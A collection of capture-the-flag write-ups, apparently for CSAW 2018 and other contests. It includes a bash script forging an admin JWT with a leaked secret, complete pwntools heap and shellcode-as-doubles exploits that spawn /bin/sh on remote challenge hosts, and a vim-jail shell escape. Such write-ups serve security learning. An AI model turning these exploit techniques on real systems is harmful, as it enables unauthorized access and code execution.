```curl http://web.chal.csaw.io:9000/protected -H "Authorization: Bearer ${jwt}"```
Output :
```You must be admin to access this resource```
Wait... What ? Why I'm not already an admin ?
When I checked again all the previous steps I said there is no way how to set my user to be an admin, I didn't get it how to do that.
Because, as I said, the user is supposed to be authenticated to the Oauth server.
Some minutes later I though that the solution is behind this line :
```Decoding JWT Token : {"iat": 1537225611, "secret": "ufoundme!", "type": "user", "exp": 1537226211}```
Maybe, type="user" should be type="admin". But, in JWT, if the used algorithm that generates the token is HS256, there is no way to break it. Because JWT Token is composed from "Header"+"Payload"+"Hash". And when we modify the Payload, we should have the key that is used to hash the payload to get a valid JWT Token.
And, from there I get the idea that maybe the hash is computed using a key which is a secret string. And since we have in the payload secret="ufoundme!", this will make sense !
Let's try it !
First, we edit the payload like this (we can change exp value and extend it if the token is expired) :
```{"iat": 1537227625, "secret": "ufoundme!", "type": "admin", "exp": 1537228225}```
So, we need using these commands :
```jwt_decoded_admin=$(echo $jwt_decoded | sed -e 's/user/admin/')echo "Replacing 'user by 'admin' : ${jwt_decoded_admin}"```
Output :
```Replacing 'user by 'admin' : {"iat": 1537227625, "secret": "ufoundme!", "type": "admin", "exp": 1537228225}```
Then, we generate again the JWT Token using the alogirhm HS256 and using the secret "ufoundme!" :
```secret=$(echo $jwt_decoded_admin | python -c "import sys, json;data = json.load(sys.stdin);print data['secret'];")echo "Extracting JWT secret for signing while encoding this payload : ${secret}"jwt_new=$(python -c "import jwt;print jwt.encode(${jwt_decoded_admin}, '${secret}', algorithm='HS256')")echo "Generating the new JWT Token : ${jwt_new}"```
Output :
```Extracting JWT secret for signing while encoding this payload : ufoundme!Generating the new JWT Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE1MzcyMjc2MjUsInNlY3JldCI6InVmb3VuZG1lISIsInR5cGUiOiJhZG1pbiIsImV4cCI6MTUzNzIyODIyNX0.Y-7Ew7nYIEMvRJad_T8_cqZpPxAo_KOvk24qeTce9S8```
We can check the content of the JWT Token if needed :
```verif=$(pyjwt decode --no-verify $jwt_new)```
Output :
```Verifing the JWT Token content : {"iat": 1537227625, "secret": "ufoundme!", "type": "admin", "exp": 1537228225}```
And finally we send try again get accessing to the protected page using this newly created JWT :
```curl http://web.chal.csaw.io:9000/protected -H "Authorization: Bearer ${jwt_new}"```
Output :
```flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}```
To resume all the commands needed to get the flag, you can get all the commands from below or from this [sso_solution.sh](resources/web-100-sso/sso_solution.sh)
```sh#!/bin/bash
cl_id=1echo "POST http://web.chal.csaw.io:9000/oauth2/authorize"auth_key=$(curl --silent 2>&1 -X POST http://web.chal.csaw.io:9000/oauth2/authorize --data "response_type=code&client_id=${cl_id}&redirect_uri=http://web.chal.csaw.io$echo "Getting Authorization Code : ${auth_key}"echo "POST http://web.chal.csaw.io:9000/oauth2/token (using this Authorization Code"token=$(curl --silent 2>&1 -X POST http://web.chal.csaw.io:9000/oauth2/token --data "grant_type=authorization_code&code=${auth_key}&client_id=${cl_id}&redirect_uri=ht$echo "Getting Json Response : ${token}"jwt=$(echo $token | python -c "import sys, json;data = json.load(sys.stdin);print data['token'];")echo "Installing PyJWT python2.x library"pip install PyJWTecho "Extracting JWT Token : ${jwt}"jwt_decoded=$(pyjwt decode --no-verify $jwt)echo "Decoding JWT Token : ${jwt_decoded}"jwt_decoded_admin=$(echo $jwt_decoded | sed -e 's/user/admin/')echo "Replacing 'user by 'admin' : ${jwt_decoded_admin}"secret=$(echo $jwt_decoded_admin | python -c "import sys, json;data = json.load(sys.stdin);print data['secret'];")echo "Extracting JWT secret for signing while encoding this payload : ${secret}"jwt_new=$(python -c "import jwt;print jwt.encode(${jwt_decoded_admin}, '${secret}', algorithm='HS256')")echo "Generating the new JWT Token : ${jwt_new}"verif=$(pyjwt decode --no-verify $jwt_new)echo "Verifing the JWT Token content : ${verif}"echo "GET http://web.chal.csaw.io:9000/protected"echo "Response :"curl http://web.chal.csaw.io:9000/protected -H "Authorization: Bearer ${jwt_new}"echo ""```
Output :
```POST http://web.chal.csaw.io:9000/oauth2/authorizeGetting Authorization Code : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiIxIiwicmVkaXJlY3RfdXJpIjoiaHR0cDovL3dlYi5jaGFsLmNzYXcuaW86OTAwMC9vYXV0aDIvdG9rZW4iLCJpYXQiOjE1MzcyMjg3ODMsImV4cCI6MTUzNzIyOTM4M30.1w-Wrwz-jY9UWErqy_W8Xra8FUUQdfJttvQLbELY050POST http://web.chal.csaw.io:9000/oauth2/token (using this Authorization CodeGetting Json Response : {"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzIyODc4MywiZXhwIjoxNTM3MjI5MzgzfQ.Vmt9Fr7MJ3_UxC5Dj8elPAwt6UT0p6CkjgaJa4LdAaI"}Installing PyJWT python2.x libraryRequirement already satisfied: PyJWT in /usr/local/lib/python2.7/dist-packagesExtracting JWT Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzIyODc4MywiZXhwIjoxNTM3MjI5MzgzfQ.Vmt9Fr7MJ3_UxC5Dj8elPAwt6UT0p6CkjgaJa4LdAaIDecoding JWT Token : {"iat": 1537228783, "secret": "ufoundme!", "type": "user", "exp": 1537229383}Replacing 'user by 'admin' : {"iat": 1537228783, "secret": "ufoundme!", "type": "admin", "exp": 1537229383}Extracting JWT secret for signing while encoding this payload : ufoundme!Generating the new JWT Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE1MzcyMjg3ODMsInNlY3JldCI6InVmb3VuZG1lISIsInR5cGUiOiJhZG1pbiIsImV4cCI6MTUzNzIyOTM4M30.RCW_UsBuM_0Le-kawO2CNolAFwUS3zYLoQU_2eDCurwVerifing the JWT Token content : {"iat": 1537228783, "secret": "ufoundme!", "type": "admin", "exp": 1537229383}GET http://web.chal.csaw.io:9000/protectedResponse :flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}```
So, the flag is `flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}`
# Scoreboard
Our team S3c5murf (2 team members thanks to Dali) get ranked 139/1488 active challenger with a score 1451.
This is the scoreboard and the ranking in this CTF :
Summary:
Tasks:
|
**Description**
> All CTF players are squares> > Edit (09/14 8:22 PM) - Uploaded new pcap file> > Edit (09/15 12:10 AM) - Uploaded new pcap file
**Files provided**
- (before updates) [`output.pcap`](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/mcgriddle-output.pcap) - [`final.pcap`](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/mcgriddle-final.pcap)
**Solution**
Looking through (either) `pcap`, we can see that a chess game is being played, and the moves are indicated with [algebraic chess notation](https://en.wikipedia.org/wiki/Algebraic_notation_%28chess%29). The server responds with its own moves, and between the moves, SVG files are uploaded, each containing an `8 x 8` grid of characters, all of which seem to be Base64.
My first guess was that we treat the SVG grids as chessboards, then for each move of a piece, we take the squares that the piece moved from or to. The coordinates are relatively easy to parse from algebraic notation, but this method seemed to produce no readable text.
The next thing I tried was taking all the characters in the SVG grids and simply decoding them as they were without modifying them. This produced some garbage data, but some of it was readable. What I noticed in particular was that the data decoded from the very first grid has 12 bytes of garbage, followed by 24 bytes of readable text (some lorem ipsum filling text), then 12 bytes of garbage again.
x x x x x x x x x x x x x x x x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x x x x x x x x x x x x x x x x (x = garbage, . = data)
Given the presence of chess moves and the fact that this was the first grid, this was clearly the starting position, and characters covered by pieces should be ignored.
The chess game (in `final.pcap`) was quite long at 90+ moves, so I didn't feel like stepping through the moves myself and writing down the board state manually. Parsing SAN also seemed a bit too slow, so instead I just exported the moves into a standard format โ the moves themselves were already encoded properly, I just numbered them properly:
1. Nf3 Nf6 2. d4 e6 3. Nc3 d5 4. Bg5 Bb4 5. e3 h6 6. Bxf6 Qxf6 7. Bb5+ Bd7 8. O-O O-O 9. Ne5 Qe7 10. Bd3 Nc6 11. Nxd7 Qxd7 12. Ne2 Qe7 13. c4 dxc4 14. Bxc4 Qh4 15. Rc1 Rfd8 16. Ng3 a6 17. f4 Bd6 18. Ne4 Kh8 19. Nxd6 Rxd6 20. Be2 Qd8 21. Qb3 Rb8 22. Rf2 Ne7 23. Bh5 Kg8 24. Qd3 Nd5 25. a3 c6 26. Bf3 Qe7 27. Rfc2 Rc8 28. Rc5 Re8 29. Qd2 Qf6 30. Be4 h5 31. Qe2 h4 32. Qf3 Rd7 33. Bd3 Red8 34. Re1 Kf8 35. Qh5 Nxf4 36. exf4 Qxd4+ 37. Kh1 Qxd3 38. Qh8+ Ke7 39. Qxh4+ Kd6 40. Rc3 Qd2 41. Qg3 Kc7 42. f5+ Kc8 43. fxe6 fxe6 44. Rce3 Qxb2 45. Rxe6 Rd1 46. h3 Rxe1+ 47. Rxe1 Qf6 48. a4 Qf7 49. a5 Rd5 50. Qg4+ Kb8 51. Qg3+ Ka8 52. Re5 Qd7 53. Kg1 Ka7 54. Kh2 Rb5 55. Rxb5 axb5 56. Qe3+ Kb8 57. Qc5 Kc7 58. Kg1 Qd1+ 59. Kf2 Qd6 60. Qc3 Qf8+ 61. Kg1 b6 62. Qd4 Qc5 63. Qxc5 bxc5 64. Kf2 Kb7 65. Ke3 Ka6 66. h4 Kxa5 67. h5 c4 68. Kd2 Kb4 69. g4 Kb3 70. g5 Kb2 71. Ke2 c3 72. h6 gxh6 73. gxh6 c2 74. h7 c1=Q 75. h8=Q+ Qc3 76. Qf8 b4 77. Qf4 Qc2+ 78. Kf3 b3 79. Qd6 c5 80. Ke3 c4 81. Qe6 Qd3+ 82. Kf4 c3 83. Qe5 Ka3 84. Qa5+ Kb2 85. Qe5 Kc1 86. Qc5 b2 87. Qg1+ Kd2 88. Qg2+ Kd1 89. Qg4+ Kc2 90. Qg1 Qd6+ 91. Ke4 Qb4+ 92. Kf3 Qb7+ 93. Kf4 b1=Q 94. Qe3 Kb3 95. Kg5 Qd5+ 96. Kf4 Qbf5+ 97. Kg3 Qd6+ 98. Kg2 Qd2+ 99. Qxd2 cxd2 100. Kg1 d1=Q+ 101. Kg2 Qd2+ 102. Kg3 Qdf2#
Then I pasted this into the [analysis board on Lichess](https://lichess.org/analysis), and with some light Javascript I took the [FEN](https://en.wikipedia.org/wiki/Forsyth%E2%80%93Edwards_Notation) value at each turn. FEN notation encodes the momentary state of the game as opposed to the turn progression, so it is very easy to parse it to see which squares are occupied and which are not.
With the FENs, I masked each SVG grid and parsed the text. Unfortunately, no matter how I adjusted the parser, I could only see the end of the flag (`r3aLLLy_hat3_chess_tbh}`). I tried a couple of guesses but I didn't know how much of the flag I was missing.
After some frustration, I decided to look at the `output.pcap` file, which I downloaded earlier but didn't really use until now. The admin of the challenge said that there were solves on that version as well, so it was clearly not totally broken.
Since the flag in `final.pcap` was quite late in the chess game, the masking with chess pieces didn't really hide it and it might have been sufficient to simply decode the SVG grids without masking โ so I tried this on the `output.pcap` grids and indeed, I found most of the flag there (except for the last three characters).
I guess a [grille cipher](https://en.wikipedia.org/wiki/Grille_(cryptography)) is not terribly effective when most of the grid is used, as is the case towards the end of the game.
`flag{3y3_actuAllY_r3aLLLy_hat3_chess_tbh}` |
**Description**
> Only big boi pwners will get this one!> > `nc pwn.chal.csaw.io 9000`
**Files provided**
- [`boi`](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/boi)
**Solution** (by [Mem2019](https://github.com/Mem2019))
stack overflow to change the variable |
**Description**
> We learnt from our past mistakes. We now have cameras looking at `__malloc_hook` 24x7.> > `nc 185.168.131.144 6000`
**Files provided**
- [chall2-bank](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-08-HackIT-CTF/files/chall2-bank) - [libc-2.24.so](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-08-HackIT-CTF/files/libc-2.24.so)
**Solution** (by [Mem2019](https://github.com/Mem2019))
The problem is here. When creating the back account, there is a off-by-one.
```cread(0, v3->title, 0x11uLL); // off by one```
The insight is to change the size of unsorted bin and then create an overlap. However, only fastbin size is allowed, so we must use this off-by-one to increase the size of a currently using fastbin chunk into a unsorted bin chunk, so when we free it it will be putted into unsorted bin. To create such situation, we need to manipulate the fastbin chunks first.
After creating such overlapped unsorted bin, we can leak program address and libc address. Care has to be taken about the check for the `flag` field in the struct, which should point to `0x60C0C748`. (e.i. do not change it)
Then we need to control the `rip`, but since the in `edit statement` function, `fgets` instead of `fread` is used, so there must be a null termination, so we can't rewrite return address in stack (we can only write 5 non-zero bytes but all addresses are 6 bytes).
```cif ( v1 >= 0 && v1 <= 19 && accounts[v1] ){ n = strlen(accounts[v1]->statement); fgets(accounts[v1]->statement, n, stdin);}```
Thus, I used house of orange attack, which can be acheived by setting the `title_size` field to a big number by using overlap. But to make it simple, set `global_max_fast` to zero first.
exp:
```pythonfrom pwn import *
g_local=Truecontext.log_level='debug'
if g_local: e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") sh = process('./chall2-bank')#env={'LD_PRELOAD':'./libc.so.6'} UNSORTED_OFF = 0x3c4b78 GLOBAL_MAX_FAST = 0x3C67F8 IO_STR_FINISH = 0x3c37b0 gdb.attach(sh)else: sh = remote("185.168.131.144", 6000) e = ELF("./libc-2.24.so") UNSORTED_OFF = 0x397b58 GLOBAL_MAX_FAST = 0x3997D0 IO_STR_FINISH = 0x394510
def slp(): if g_local: sleep(0.1) else: sleep(1)
def create(title, size, statement): sh.send("1\n") sh.recvuntil("Enter title of bank account: ") sh.send(title) sh.recvuntil("Enter size of your bank statement: ") sh.send(str(size) + "\n") slp() sh.send(statement + "\n") sh.recvuntil("Account has been created at index ") ret = int(sh.recvuntil("\n")) sh.recvuntil("5. View your bank status\n") return ret
def edit_title(idx, title): sh.send("2\n") sh.recvuntil("Enter index of bank account: ") sh.send(str(idx) + "\n") slp() sh.send(title) sh.recvuntil("5. View your bank status\n")
def edit_statement(idx, statement): sh.send("3\n") sh.recvuntil("Enter index of bank account: ") sh.send(str(idx) + "\n") slp() sh.send(statement + "\n") sh.recvuntil("5. View your bank status\n")
def delete(idx): sh.send("4\n") sh.recvuntil("Enter index of bank account: ") sh.send(str(idx) + "\n") sh.recvuntil("5. View your bank status\n")
def view(idx): sh.send("5\n") sh.recvuntil("Enter index of bank account: ") sh.send(str(idx) + "\n") sh.recvuntil("Title: ") title = sh.recvuntil("\n") sh.recvuntil("Statement: ") statement = sh.recvuntil("\n") sh.recvuntil("5. View your bank status\n") return (title[:len(title)-1],statement[:len(statement)-1])
tmp1 = create("1", 0x20, "1")tmp2 = create("2", 0x20, "2")delete(tmp1)delete(tmp2)#now 4 0x30 fastbin, ordered by 6903
fst4_0x30 = [0] * 4for i in map(lambda x:x/3,[6,9,0,3]): fst4_0x30[i] = create(str(i), 0x50, str(i))#consume the 0x30 chunks, put them in an array,#idx correspond to memory position
#want allocation order 31 02delete(fst4_0x30[2])delete(fst4_0x30[0])delete(fst4_0x30[1])delete(fst4_0x30[3])
gen_unsorted = create("3", 0x20, "1")create("0" * 0x10 + chr((0x90 + 0x60) | 1), 0x20, "2")
for i in xrange(0,3): create("leak", 0x50, "consume 0x60 chunks") #take all 0x50, 0x30 will be allocated from top chunk
toleak = create("leak", 0x50, "to become leak here")
delete(gen_unsorted)#unsorted bin contains 1 2 3 0x60, and one 0x30 fastbin
arb_rw = create("leak", 0x10, "A") #0x30, 1struct_overlap = create("leak", 0x30, "A") #2, jmp out 3libc_addr = u64(view(toleak)[1] + "\x00\x00") - UNSORTED_OFFcreate("leak", 0x20, "empty bins, leak pie")flag_addr = u64(view(toleak)[1] + "\x00\x00") # - 0x202010print hex(libc_addr)print hex(flag_addr)#now bins empty
# edit_statement(struct_overlap, "H" * 0x10 + p64(flag_addr) + p64(0x10) + p64(libc_addr+e.symbols["__free_hook"]))# edit_statement(arb_rw, p64(libc_addr + e.symbols["system"]))
delete(struct_overlap)create("arb read", 0x30, "H" * 0x10 + p64(flag_addr) + p64(0x10) + p64(libc_addr+e.symbols["environ"]))stack_addr = u64(view(arb_rw)[1] + "\x00\x00")print hex(stack_addr)
delete(struct_overlap)create("arb write", 0x30, "H" * 0x10 + p64(flag_addr) + p64(0xdeadbeef) + p64(libc_addr + GLOBAL_MAX_FAST)) #to testedit_statement(arb_rw, "1") #1 will let scanf return 1#change max_global_fast to 0
#house of orange(by rewriting title size)sh.recvuntil("Enter title of bank account: ")sh.send("orange")sh.recvuntil("Enter size of your bank statement: ")sh.send(str(0x20) + "\n")slp()sh.send("house of orange" + "\n")sh.recvuntil("Account has been created at index ")of_chunk = int(sh.recvuntil("\n"))sh.recvuntil("5. View your bank status\n")hso_chunk = create("hso", 0x50, "house of orange")create("pad", 0x10, "pad")delete(of_chunk)
create("0" * 0x10 + chr(0xC0 | 1), 0x50, 'A' * 0x20 + p64(0) + p64(0x31) + p64(flag_addr) + chr(0))
fake_file = p64(0)fake_file += p64(0x61)fake_file += p64(1)fake_file += p64(libc_addr + e.symbols["_IO_list_all"] - 0x10)fake_file += p64(2) + p64(3)fake_file += "\x00" * 8fake_file += p64(libc_addr + next(e.search('/bin/sh\x00'))) #/bin/sh addrfake_file += ((0xc0-0x40) / 8) * p64(flag_addr)fake_file += p32(0) #modefake_file += (0xd8-0xc4) * "\x00"fake_file += p64(libc_addr + IO_STR_FINISH - 0x18) #vtable_addrfake_file += (0xe8-0xe0) * "\x00"fake_file += p64(libc_addr + e.symbols["system"])
edit_title(hso_chunk, 'A' * 8 + fake_file)
sh.send("1\n")
sh.interactive()```
However, the flag is `flag{Gu4rd_at_MALLOC_HOOK_bu1_n0t_4t_FREE_HOOK??}`, but I didn't use free hook at all, how can this pass the check of flag? |
**Description**
> Sometimes you have to look back and replay what has been done right and wrong
**Files provided**
- [`rewind.tar.gz`](https://ctf.csaw.io/files/ad0ffb17480563d0658ec831d0881789/rewind.tar.gz) (too large to host)
**Solution**
Once again, after extraction, let's check if the flag is hidden in plain text:
$ strings disk.* | grep "flag{" while [ true ]; do printf "flag{FAKE_FLAG_IS_ALWAYS_GOOD}" | ./a.out; done while [ true ]; do printf "flag{FAKE_FLAG_IS_ALWAYS_GOOD}" | ./a.out; done flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} ... (repeats) flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} while [ true ]; do printf "flag{FAKE_FLAG_IS_ALWAYS_GOOD}" | ./a.out; done ... while [ true ]; do printf "flag{FAKE_FLAG_IS_ALWAYS_GOOD}" | ./a.out; done flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} ... flag{RUN_R3C0RD_ANA1YZ3_R3P3AT}
And it is there again. I think the organisers overlooked this in both this challenge and [simple_recovery](#150-forensics--simple_recovery).
What this challenge *should* have been, I assume, is to get QEMU to replay the given VM snapshot with the given "replay" (which records all user interactions and non-deterministic I/O).
`flag{RUN_R3C0RD_ANA1YZ3_R3P3AT}` |
**Description**
> Have fun digging through that one. No device needed.> > Note: the flag is not in flag{} format> > HINT: the flag is literally a hex string. Put the hex string in the flag submission box> > Update (09/15 11:45 AM EST) - Point of the challenge has been raised to 300> > Update Sun 9:09 AM: its a hex string guys
**Files provided**
- [`com.yourcompany.whyos_4.2.0-28debug_iphoneos-arm.deb`](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/whyos-app.deb) - [`console.log`](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/whyos-log.zip)
**Solution**
We are given an iOS app (or part of it perhaps), and a console log from an iOS device where the flag can presumably be located. The app itself seems pretty lacking, but we can see that it adds itself into the Preferences / Settings application. Our task is then to somehow find the flag in the console log.
The flag for this challenge is not in the `flag{...}` format, so a simple `grep` would not work. We do know that it is a hexadecimal string, but this is not extremely useful, given that the log file contains thousands of hexadecimal strings.
After searching the log manually for some time without much success, I decided to make the job a bit easier by separating the log entries into different files based on which application produced them. Each message has a simple format:
... default 19:11:39.936008 -0400 sharingd TTF: Problem flags changed: 0x0 < >, AirPlay no default 19:11:39.944252 -0400 SpringBoard WIFI PICKER [com.apple.Preferences]: isProcessLaunch: 0, isForegroundActivation: 1, isForegroundDeactivation: 0 default 19:11:39.944405 -0400 symptomsd 36246 com.apple.Preferences: ForegroundRunning (most elevated: ForegroundRunning) default 19:11:39.945559 -0400 SpringBoard SBLockScreenManager - Removing a wallet pre-arm disable assertion for reason: Setup default 19:11:39.945609 -0400 SpringBoard SBLockScreenManager - Removing a wallet pre-arm disable assertion for reason: Device blocked ...
The format being `<severity level> <timestamp> <source application> <message>`.
([Full separator script here](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/scripts/WhyOS.hx))
The individual program logs were much easier to parse, since individually they contained a lot of repeating messages that would presumably not show the flag. Eventually I got to the Preferences app and found the flag among these lines:
... default 19:11:45.660046 -0400 Preferences feedback engine <_UIFeedbackSystemSoundEngine: 0x1d42a0ea0: state=4, numberOfClients=0, prewarmCount=0, _isSuspended=0> state changed: Running -> Inactive default 19:11:46.580029 -0400 Preferences viewDidLoad "<private>" default 19:12:18.884704 -0400 Preferences ca3412b55940568c5b10a616fa7b855e default 19:12:49.086306 -0400 Preferences Received device state note {uniqueID: <private>, weakSelf: 0x1d02af780} default 19:12:49.087343 -0400 Preferences Device note {isNearby: 1, isConnected: 0, isCloudConnected: 0, _nearby: 0, _connected: 0, _cloudConnected: 0} ...
It might not be obvious why this should be the flag, but all the other messages produced by the Preferences app made sense, i.e. they had some descriptive text. This hexadecimal string did not have any indication of what it meant, so it was "clearly" the flag.
`ca3412b55940568c5b10a616fa7b855e` |
**Description**
> Did you know every Number in javascript is a float> > `pwn.chal.csaw.io:9002`> > nsnc
**Files provided**
- [`doubletrouble`](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/doubletrouble)
**Solution** (by [Mem2019](https://github.com/Mem2019))
The problem is the total length will increase in `find_array`
```cint __cdecl findArray(int *a1, double *a2, double a3, double a4){ int v5; // [esp+1Ch] [ebp-4h]
v5 = *a1; while ( *a1 < 2 * v5 ) { if ( a2[*a1 - v5] > (long double)a3 && a4 > (long double)a2[*a1 - v5] ) return *a1 - v5; ++*a1; } *a1 = v5; return 0;}```
Then it will sort according to the increased size, which can affect return address.
However, there is canary, so we need to let the canary stay at the same position after sorting, with return address being changed.
What I've chosen is to set it as `leave ret`, and pivot the stack into our double array, then execute `retn` to execute our shellcode in the form of IEEE double. Also, the shellcode must be sorted, which can be implemented by manipulating the exponential part of IEEE double, while the digits are our shellcode with `jmp short`.
This takes me a lot of time, and we need to execute `/bin/sh` instead of `/bin/csh` as it suggested in the strings in the executable. Also, since canary is random, we cannot be sure about the position of canary after sorting, so my approach gives about `1/40` probability.
//todo, more detailed illustration later
```pythonfrom pwn import *import structg_local=Falsecontext.log_level='debug'
LEAVE_RET = 0x08049166DOUBLE_OFF = 0def to_double(num): return struct.unpack('<d', p64(num))[0]
def make_ieee_double(exp, digit, sign = 1): assert sign == 1 or sign == 0 assert digit >= 0 and digit < (1 << 52) rexp = exp + 1023 assert rexp >= 0 or rexp < 2048 return to_double((sign << 63) + (rexp << 52) + digit)
def shellcodes_4(asmcode): ret = asm(asmcode) assert len(ret) <= 4 return u64(ret.ljust(4, "\x90") + '\xeb\x02\x00\x00')
def make_shellcode(shpath): assert len(shpath) % 4 == 0 ret = [] e = 1000 #0x804A127 for x in range(0, len(shpath), 4)[::-1]: ret.append(make_ieee_double(e, shellcodes_4("mov ax," + hex(u16(shpath[x+2:x+4]))))) e -= 1 ret.append(make_ieee_double(e, shellcodes_4("shl eax,16"))) e -= 1 ret.append(make_ieee_double(e, shellcodes_4("mov ax," + hex(u16(shpath[x:x+2]))))) e -= 1 ret.append(make_ieee_double(e, shellcodes_4("push eax"))) e -= 1 #0x804BFF0 ret.append(make_ieee_double(e, shellcodes_4("push esp"))) e -= 1 ret.append(make_ieee_double(e, shellcodes_4("mov ax,0x804"))) e -= 1 ret.append(make_ieee_double(e, shellcodes_4("shl eax,16"))) e -= 1 ret.append(make_ieee_double(e, shellcodes_4("mov ax,0xBFF0"))) e -= 1 ret.append(make_ieee_double(e, shellcodes_4("mov eax,[eax]"))) e -= 1 ret.append(make_ieee_double(e, shellcodes_4("call eax"))) return ret
def exploit(): if g_local: sh = process('./doubletrouble')#env={'LD_PRELOAD':'./libc.so.6'} shstr = "/bin/sh\x00" gdb.attach(sh) else: sh = remote("pwn.chal.csaw.io", 9002) shstr = "/bin/sh\x00" sh.recvuntil("0x") leak = int(sh.recv(8),16) arr = leak + DOUBLE_OFF smallest = make_ieee_double(1020, arr + 0x20) bigger = make_ieee_double(800, 0xdeadbeef)
payload = [smallest] * 4 + [-50.0] + [to_double((LEAVE_RET << 32) + arr - 4)] * 2 + make_shellcode(shstr) payload += [bigger] * (64-len(payload)) assert len(payload) == 64 sh.recvuntil("How long: ") sh.send(str(len(payload)) + "\n") for n in payload: sh.recvuntil("Give me: ") sh.send(repr(n) + "\n") sh.recvuntil("Sorted Array:") ret = sh.recvuntil("terminated\r\n", timeout = 3.0) if ret == '': sh.interactive() else: return sh
while True: try: exploit().close() except Exception as e: print "failed"``` |
https://medium.com/@johnhammond010/codefest-ctf-2018-writeups-f45dafebb8c2Discord: https://discord.gg/fwdTp3JYouTube: https://youtube.com/johnhammond010 |
**Description**
> The final boss!> > Time to pull together your knowledge of Bash, Python, and stupidly-low-level assembly!!> > This time you have to write some assembly that we're going to run.. You'll see the output of your code through VNC for 60 seconds.> > Objective: Print the flag.> > What to know:> > Strings need to be alternating between the character you want to print and '0x1f'.> > To print a string you need to write those alternating bytes to the frame buffer (starting at 0x00b8000...just do it). Increment your pointer to move through this buffer.> > If you're having difficulty figuring out where the flag is stored in memory, this code snippet might help you out:> > get_ip:> call next_line> next_line:> pop rax> ret> > That'll put the address of `pop rax` into rax.> > Call serves as an alias for `push rip` (the instruction pointer - where we are in code) followed by `jmp _____` where whatever is next to the call fills in the blank.> > And in case this comes up, you shouldn't need to know where you are loaded in memory if you use that above snippet...> > Happy Reversing!!> > `nc rev.chal.csaw.io 9004`> > - Elyk> > Edit (09/16 1:13 AM) - Uploaded new files. No change in challenge difficulty or progression, simply streamlining the build process.
**Files provided**
- [`Makefile`](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/x86-3-Makefile) - [`part-3-server.py`](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/x86-3-part-3-server.py) - [`tacOS-base.bin`](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/x86-3-tacOS-base.bin)
**Solution**
From the `part-3-server.py` script we can see what happens on connection โ we provide the hexdump for our assembly code, it gets linked with the previous stages and executed on a VNC. What is most important, however, is that the flag is added to the end of our code.
So we simply need to read the flag from after our location in memory (related to the `rip` register, hence the snippet in the description), and write it to the screen. `0x000b8000` is a special location in memory โ it is mapped directly to text display in protected mode. We write the character values in even positions in the memory, and we write background / foreground colour settings in odd positions in the memory.
```asmbits 32
part3: mov esi, 0x000b8000 ; video memory location call get_ip ; = mov ebx, (position of pop ebx in get_ip) mov edx, 512 ; read 512 characters._mov_loop: cmp edx, 0 jz .end ; jump to .end if done sub edx, 1 mov ecx, [ebx] ; read a character from memory mov byte [esi], cl ; move it into video memory add esi, 1 mov byte [esi], 0x1F ; white-on-blue text add esi, 1 add ebx, 1 jmp ._mov_loop.end: jmp .end ; infinite loop to keep the VNC running
get_ip: call next_linenext_line: pop ebx ret```
`flag{S4l1y_Se11S_tacOShell_c0d3_bY_tHe_Se4_Sh0re}` |
Tokyo Westerns CTF (2018) โ vimshell====================================
**Problem**:> Can you escape from [jail](http://vimshell.chal.ctf.westerns.tokyo/)?
## Opening the challenge

When opening the challenge, we can see a shell with what looks like a Git diff file shown in the vim editor. The diff shows that the config has been modified to disable the `:`, `Q` and `g` keys. I wasn't sure about usage of `Q` and `g`, but `:` is the way to start all kinds of commands in vim.
## Trying to quit vim
Since I am not a vim power-user, I did a lot of googling to find ways to go around those limitations. From the hint, and the common joke that people always have a hard time quitting vim, I started by looking for ways to exit the editor without `:wq`. I quickly found `shift+ZZ`, but this only resulted in a "Connection closed" message:

## Opening man pages
So it seems that quitting isn't what we're supposed to do. How about executing arbitrary shell commands? I knew that `:!some_command` would execute `some_command` in the shell. But we don't have direct access to command mode (because `:` is disabled). In the [vim manual](http://vimdoc.sourceforge.net/htmldoc/intro.html), I looked for other ways to reach command mode, but had no luck:

It didn't seem to be possible to reach command mode in a way that wasn't disabled. That's when I thought:
> Ha, since we can move around and write in this document, would there be a way to execute a command written under the cursor?
So I searched for this and found [this StackOverflow question](https://stackoverflow.com/q/2736085/3792942) which taught me that we can open the `man` page for the word under the cursor with `shift+K`:

Before even going further, I tried again the `!` binding in this new man view. To my surprise, it worked! Since we had a way to execute shell commands, it was easy to locate the flag by looking around the filesystem with `ls`, and printing it wit `cat`.

We got the flag!`TWCTF{the_man_with_the_vim}` |
**Description**
